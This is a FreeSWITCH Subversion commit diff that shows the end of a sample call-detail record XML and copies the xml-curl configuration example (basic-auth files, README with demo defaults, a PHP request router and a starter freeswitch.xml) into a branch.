+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>22b5e34f-d334-40fe-b7e7-9ca54b2a7160</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>22b5e34f-d334-40fe-b7e7-9ca54b2a7160</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156806464364</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156812978484</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>6070e39b-71a4-4872-a851-a8c9ac45488d</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>6070e39b-71a4-4872-a851-a8c9ac45488d</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156801337500</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156806464364</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>a95fdc9d-1f64-4962-acb8-a26507c9d224</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>a95fdc9d-1f64-4962-acb8-a26507c9d224</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156797434745</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156801337500</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>a5dfe2cc-7754-4a82-a645-231a15decb3f</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>a5dfe2cc-7754-4a82-a645-231a15decb3f</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156792878476</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156797434745</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>fec1ae9e-546c-4cc5-b22a-55dc997a0e35</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>fec1ae9e-546c-4cc5-b22a-55dc997a0e35</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156788685547</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156792878476</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>4aa48010-4595-461c-936a-179f9fb4d1f3</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>4aa48010-4595-461c-936a-179f9fb4d1f3</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156784428990</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156788685547</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>545f4ba0-5978-4b41-892f-aca78f174a91</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>545f4ba0-5978-4b41-892f-aca78f174a91</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156778376001</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156784428990</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>efb71d06-c38c-4af9-a4bd-c5a23b501689</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>efb71d06-c38c-4af9-a4bd-c5a23b501689</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156772841382</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156778376001</transfer_time>
+    </times>
+  </callflow>
+</cdr>

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/.htaccess

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/.htaccess (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/.htaccess) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/.htaccess	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/.htaccess	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+<files "*">
+AuthUserFile /www/default/htdocs/xml-curl/.htpasswd
+AuthName "TRXTel"
+AuthType basic
+Require valid-user
+</files>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/.htpasswd

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/.htpasswd (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/.htpasswd) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/.htpasswd	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/.htpasswd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+switch1:X3ebVz1FFcmLc

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/README

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/README (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+This is an example that will respond to mod_xml_curl requests for information.
+It uses modules, which are contained in the modules subdirectory.  If a module
+(any file ending in .php) is in the dir it will be loaded.  If it registers
+to handle a specific type of xml_curl request, that will be passed to the 
+function named.  If you dont have a module for a specific type of data, for 
+example directory, then a 404 will be returned to FreeSWITCH.  
+
+The module nature allows you to more easily turn on/off different components.  
+
+Its a template based system, which relies on someone authenticating, such as 
+with .htaccess.  Their username is used in this default example for their 
+configuration files.  This allows for multiple switches to identify themselves
+uniquely, as well as giving you the ability to have different templates for 
+different switches.
+
+
+
+
+
+If you do configuration via mod_xml_curl you only need to load and configure 
+mod_xml_curl from freeswitch.xml, all other modules and their configs do not 
+need to be present.  I do suggest that you load loggers before xml_curl though.
+
+If you load modules *before* loading xml_curl they will be loaded from the
+static xml file, only *after* loading xml_curl will stuff start to be pulled
+from the webserver.  Seems logical but some people dont think about it and 
+wonder why it doesnt work.
+
+
+
+freeswitch.xml in this repository is a minimal config file, which works as of
+r5500 with what is in this directory.
+
+
+DEFAULT PASSWORDS
+htaccess switch1:password (for webstuff)
+SIP/etc  testacct:demopw
+
+you will most likely have to edit the path to .htpasswd in the .htaccess
+file or it wont work properly.
+
+
+PREREQUISITES
+You will need to get smarty from http://smarty.php.net to make this work
+
+If you install it globally, edit your php.ini to make the Smarty/libs dir as 
+part of the search path, otherwise add the following to curlrouting.php near 
+the other ini_set line.  Adjust it to suit your particular setup.
+
+ini_set("include_path",".:/usr/local/lib/php:/usr/share/php:./Smarty-2.6.18/libs");
+
+
+
+You also must create a directory named templates_c where you install this, its
+a smarty requirement for caching templates.  This directory *must* be writable
+by the webserver or Smarty will not properly operate.

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/curlrouting.php

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/curlrouting.php (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/curlrouting.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/curlrouting.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/curlrouting.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+<?php  //  -*- mode:c; tab-width:4; c-basic-offset:4; indent-tabs-mode:nil;  -*-
+Header("Content-type: text/plain");
+
+$callBacks = Array();
+ini_set("magic_quotes_gpc","Off");
+include_once('Smarty.class.php');
+
+// load the modules
+$dh = @opendir("./modules") or die("Unable to open modules dir");
+while ($file = readdir($dh)) {
+    if(preg_match("/.*\.php$/i",$file)) {
+        error_log("loading module $file");
+        include_once("modules/$file");
+    }
+}
+
+
+if(isset($_POST['section'])) {
+    error_log("processing $_POST[section]");
+    if(isset($callBacks[$_POST['section']])) {
+        if(call_user_func($callBacks[$_POST['section']])==TRUE) {
+            exit;
+        }
+    }
+}
+error_log("No module to process xml_curl for $_POST[section]");
+Header("HTTP/1.0 404 Not Found");
+echo "Not Found";
+exit;
+
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-curl/freeswitch.xml

Copied: freeswitch/branches/seven/contrib/trixter/xml-curl/freeswitch.xml (from rev 14471, freeswitch/trunk/contrib/trixter/xml-curl/freeswitch.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-curl/freeswitch.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-curl/freeswitch.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,78 @@
+<?xml version="1.0"?>
+<document type="freeswitch/xml">
+
+  <section name="configuration" description="Various Configuration">
+    
+    <configuration name="switch.conf" description="Modules">
+      <settings>
+	<!--Most channels to allow at once -->
+	<param name="max-sessions" value="1000"/>
+	<!--RTP port range -->
+	<!--<param name="rtp-start-port" value="16384"/>-->
+	<!--<param name="rtp-end-port" value="32768"/>-->
+      </settings>
+      <!--Any variables defined here will be available in every channel, in the dialplan etc -->
+      <variables>
+	<variable name="uk-ring" value="%(400,200,400,450);%(400,2200,400,450)"/>
+	<variable name="us-ring" value="%(2000, 4000, 440.0, 480.0)"/>
+	<variable name="bong-ring" value="v=4000;>=0;+=2;#(60,0);v=2000;%(940,0,350,440)"/>
